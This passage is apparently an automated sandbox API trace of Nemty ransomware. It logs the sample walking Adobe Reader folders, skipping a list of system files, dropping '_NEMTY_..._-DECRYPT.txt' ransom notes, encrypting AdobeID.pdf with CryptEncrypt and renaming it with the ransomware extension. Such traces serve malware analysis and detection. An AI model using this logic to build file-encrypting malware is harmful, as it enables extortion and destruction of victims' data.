ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a587790, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.357] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.357] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="TUR", cAlternateFileName="")) returned 1 [0172.357] lstrcmpiW (lpString1="TUR", lpString2=".") returned 1 [0172.357] lstrcmpiW (lpString1="TUR", lpString2="..") returned 1 [0172.357] lstrcmpiW (lpString1="TUR", lpString2="...") returned 1 [0172.357] lstrcmpiW (lpString1="TUR", lpString2="windows") returned -1 [0172.357] lstrcmpiW (lpString1="TUR", lpString2="$RECYCLE.BIN") returned 1 [0172.357] lstrcmpiW (lpString1="TUR", lpString2="rsa") returned 1 [0172.357] lstrcmpiW (lpString1="TUR", lpString2="NTDETECT.COM") returned 1 [0172.358] lstrcmpiW (lpString1="TUR", lpString2="ntldr") returned 1 [0172.358] lstrcmpiW (lpString1="TUR", lpString2="MSDOS.SYS") returned 1 [0172.358] lstrcmpiW (lpString1="TUR", lpString2="IO.SYS") returned 1 [0172.358] lstrcmpiW (lpString1="TUR", lpString2="boot.ini") returned 1 [0172.358] lstrcmpiW (lpString1="TUR", lpString2="boot.ini") returned 1 [0172.358] lstrcmpiW (lpString1="TUR", lpString2="AUTOEXEC.BAT") returned 1 [0172.358] lstrcmpiW (lpString1="TUR", lpString2="ntuser.dat") returned 1 [0172.358] lstrcmpiW (lpString1="TUR", lpString2="desktop.ini") returned 1 [0172.358] lstrcmpiW (lpString1="TUR", lpString2="CONFIG.SYS") returned 1 [0172.358] lstrcmpiW (lpString1="TUR", lpString2="RECYCLER") returned 1 [0172.358] lstrcmpiW (lpString1="TUR", lpString2="BOOTSECT.BAK") returned 1 [0172.358] lstrcmpiW (lpString1="TUR", lpString2="bootmgr") returned 1 [0172.358] lstrcmpiW (lpString1="TUR", lpString2="programdata") returned 1 [0172.358] lstrcmpiW (lpString1="TUR", lpString2="appdata") returned 1 [0172.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TUR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TUR", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TUR", lpUsedDefaultChar=0x0) returned 3 [0172.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TUR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TUR", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TUR", lpUsedDefaultChar=0x0) returned 3 [0172.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0172.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0172.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0172.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0172.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.358] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.368] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.368] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.369] CloseHandle (hObject=0x254) returned 1 [0172.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0172.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0172.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.369] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.370] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.370] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.371] CloseHandle (hObject=0x254) returned 1 [0172.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.371] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a61fd10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a61fd10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.371] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.371] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a61fd10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a61fd10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.371] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.371] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.371] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49db0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0172.371] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0172.371] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0172.371] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0172.371] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0172.371] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0172.371] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0172.371] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0172.371] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0172.371] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0172.371] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0172.371] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0172.371] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0172.371] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0172.372] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0172.372] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0172.372] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0172.372] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0172.372] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0172.372] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0172.372] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0172.372] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0172.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0172.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0172.372] Sleep (dwMilliseconds=0x5) [0172.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a645e70, dwHighDateTime=0x1d561e8)) [0172.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a645e70, dwHighDateTime=0x1d561e8)) [0172.378] GetLastError () returned 0xb7 [0172.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.378] GetLastError () returned 0xb7 [0172.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.378] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.378] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.378] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0172.378] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="GiaemoDvH56rNryqtIC4KrLGjMQfT2qp7lE2xgOvDJzsdc3bfOX+AoD4XocjmWbE\r\nU2cRjQYEuysToh+FGyvaATXVyw+nE7mel+iUSXxcSRwzCCxqDL0hutxWijIMj0RU\r\nccbri6FlLRWIXqKtjkFPES0ULS+JDgflnZ5iO20uw0DE6lKkNW2xWW/y1JAswl4Q\r\nVFPar+6zFGEyn0twEoDqeG7jb3jEE5cptIQ6rBIHPe82nnsm9DH8Dm9BUuZUTpyk\r\nu1t0uZKqNno9qbGKvNlzxiUQ/ywnijDhp3wKkvh8/Bt02Qo9e32ktcI+7DnZ/pTQ\r\n+Q06B8Li+sssTdTDPQ7hlA==\r\n", pcchString=0x653e5dc) returned 1 [0172.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0172.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0172.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.378] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.379] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=302512) returned 1 [0172.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0172.379] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.379] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0172.388] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.388] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0172.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.389] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=302512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x49db0 [0172.389] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.390] CloseHandle (hObject=0x3b0) returned 1 [0172.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0172.390] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.390] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0172.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0172.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0172.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.390] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0172.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0172.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0172.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0172.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.392] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48d8f, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0172.392] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0172.392] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0172.392] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0172.392] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0172.393] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0172.393] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0172.393] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0172.393] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0172.393] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 